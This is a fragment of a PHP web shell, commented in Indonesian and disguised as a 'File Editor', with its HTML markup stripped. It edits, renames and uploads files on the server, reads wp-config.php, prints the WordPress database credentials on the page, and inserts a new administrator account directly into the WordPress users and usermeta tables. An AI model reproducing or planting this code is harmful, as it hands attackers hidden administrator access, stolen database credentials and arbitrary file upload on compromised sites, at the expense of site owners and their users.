❌ Folder tidak valid!

"); } // Fungsi validasi path function safePath($base, $target) { $real = realpath($base . '/' . $target); return ($real && strpos($real, $base) === 0) ? $real : null; } // ======== HANDLE FORM ACTIONS ======== // Buat folder if ($_POST['new_folder'] ?? false) { $name = basename($_POST['new_folder']); @mkdir("$root/$name"); } // Buat file if ($_POST['new_file'] ?? false) { $name = basename($_POST['new_file']); @file_put_contents("$root/$name", ''); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'])) { $from = safePath($root, $_POST['rename_from']); $toName = basename($_POST['rename_to']); $to = "$root/$toName"; if ($from && $to) @rename($from, $to); } // Simpan isi file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'], $_GET['file'])) { $filepath = safePath($root, $_GET['file']); if ($filepath && is_file($filepath)) { file_put_contents($filepath, $_POST['content']); echo "

✅ Disimpan.

"; } } // ======== BUAT USER WORDPRESS BERDASARKAN FOLDER YANG DIPILIH ======== if (isset($_POST['create_wp_user'])) { echo "

🛠 Debug Create WP Admin:

"; $configPath = realpath($root . '/wp-config.php'); echo "

📄 wp-config.php: " . ($configPath ?: '❌ Tidak ditemukan') . "

"; if ($configPath && is_file($configPath)) { $config = file_get_contents($configPath); // Parsing function function wp_config_value($key, $config) { $pattern = "/define\s*\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"](.+?)['\"]\s*\);/"; preg_match($pattern, $config, $match); return $match[1] ?? null; } function wp_config_prefix($config) { $pattern = "/\\\$table_prefix\s*=\s*['\"](\w+_)['\"]\s*;/"; preg_match($pattern, $config, $match); return $match[1] ?? null; } // Ambil konfigurasi $dbname = wp_config_value('DB_NAME', $config); $dbuser = wp_config_value('DB_USER', $config); $dbpass = wp_config_value('DB_PASSWORD', $config); $dbhost = wp_config_value('DB_HOST', $config); $prefix = wp_config_prefix($config); echo "
DB: $dbname\nUser: $dbuser\nPass: $dbpass\nHost: $dbhost\nPrefix: $prefix
"; if (!$dbname || !$dbuser || !$dbpass || !$dbhost || !$prefix) { echo "

❌ Gagal parsing konfigurasi WordPress.

"; return; } $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($mysqli->connect_error) { echo "

❌ Koneksi DB gagal: " . $mysqli->connect_error . "

"; return; } else { echo "

✅ Koneksi DB sukses.

"; } // Cek tabel users $checkUsersTable = $mysqli->query("SHOW TABLES LIKE '{$prefix}users'"); if (!$checkUsersTable || $checkUsersTable->num_rows === 0) { echo "

❌ Tabel {$prefix}users tidak ditemukan.

"; return; } else { echo "

✅ Tabel {$prefix}users ditemukan.

"; } // Data input user $username = $mysqli->real_escape_string($_POST['wp_user']); $email = $mysqli->real_escape_string($_POST['wp_email']); $password = $_POST['wp_pass']; $hash = password_hash($password, PASSWORD_BCRYPT); $now = date('Y-m-d H:i:s'); // Cek duplikat $check = $mysqli->query("SELECT ID FROM {$prefix}users WHERE user_login = '$username' OR user_email = '$email'"); if ($check && $check->num_rows > 0) { echo "

⚠️ Username atau email sudah terdaftar.

"; return; } // Insert user $insertUser = $mysqli->query("INSERT INTO {$prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES ('$username', '$hash', '$username', '$email', '$now', 0, '$username')"); if (!$insertUser) { echo "

❌ Gagal insert user: " . $mysqli->error . "

"; return; } $uid = $mysqli->insert_id; echo "

✅ User ID baru: $uid

"; // Insert usermeta (role + level) $metaInsert = $mysqli->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($uid, '{$prefix}capabilities', 'a:1:{s:13:\"administrator\";b:1;}'), ($uid, '{$prefix}user_level', '10')"); if (!$metaInsert) { echo "

❌ Gagal insert usermeta: " . $mysqli->error . "

"; return; } echo "

✅ User $username berhasil dibuat sebagai Administrator.

"; $mysqli->close(); } else { echo "

❌ File wp-config.php tidak ditemukan di folder root.

"; } } $currentFile = $_GET['file'] ?? null; $currentPath = $currentFile ? safePath($root, $currentFile) : null; $items = scandir($root); // 🔽 Tambahkan di sini // Coba parsing wp-config.php secara otomatis agar bagian Daftar Admin bisa tetap jalan $configPath = realpath($root . '/wp-config.php'); if ($configPath && is_file($configPath)) { $config = file_get_contents($configPath); function wp_config_value($key, $config) { $pattern = "/define\s*\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"](.+?)['\"]\s*\);/"; preg_match($pattern, $config, $match); return $match[1] ?? null; } function wp_config_prefix($config) { $pattern = "/\\\$table_prefix\s*=\s*['\"](\w+)_['\"]\s*;/"; preg_match($pattern, $config, $match); return $match[1] ?? null; } $dbname = wp_config_value('DB_NAME', $config); $dbuser = wp_config_value('DB_USER', $config); $dbpass = wp_config_value('DB_PASSWORD', $config); $dbhost = wp_config_value('DB_HOST', $config); $prefix = wp_config_prefix($config); } if (isset($_POST['upload_action'], $_POST['folder_nama']) && isset($_FILES['upload_file'])) { $folderName = basename(trim($_POST['folder_nama'])); $file = $_FILES['upload_file']; if ($file['error'] === UPLOAD_ERR_OK) { $filename = basename($file['name']); $targetFolder = $root . DIRECTORY_SEPARATOR . $folderName; // Buat folder jika belum ada if (!is_dir($targetFolder)) { if (!mkdir($targetFolder, 0777, true)) { echo json_encode(["status" => "error", "msg" => "Gagal membuat folder: $folderName"]); exit; } } $targetPath = $targetFolder . DIRECTORY_SEPARATOR . $filename; if (move_uploaded_file($file['tmp_name'], $targetPath)) { echo json_encode(["status" => "ok", "msg" => "File berhasil diupload ke $folderName"]); } else { echo json_encode(["status" => "error", "msg" => "Gagal memindahkan file ke folder"]); } } else { echo json_encode(["status" => "error", "msg" => "Upload error code: " . $file['error']]); } exit; } ?> 📝 File Editor

📝 File Editor (IP: )


📁 Daftar isi:

⬅️ Kembali ke folder sebelumnya


➡️

➕ Tambah User WordPress (folder aktif)










📝 Mengedit:


🔁 Replace Teks (Ctrl+H)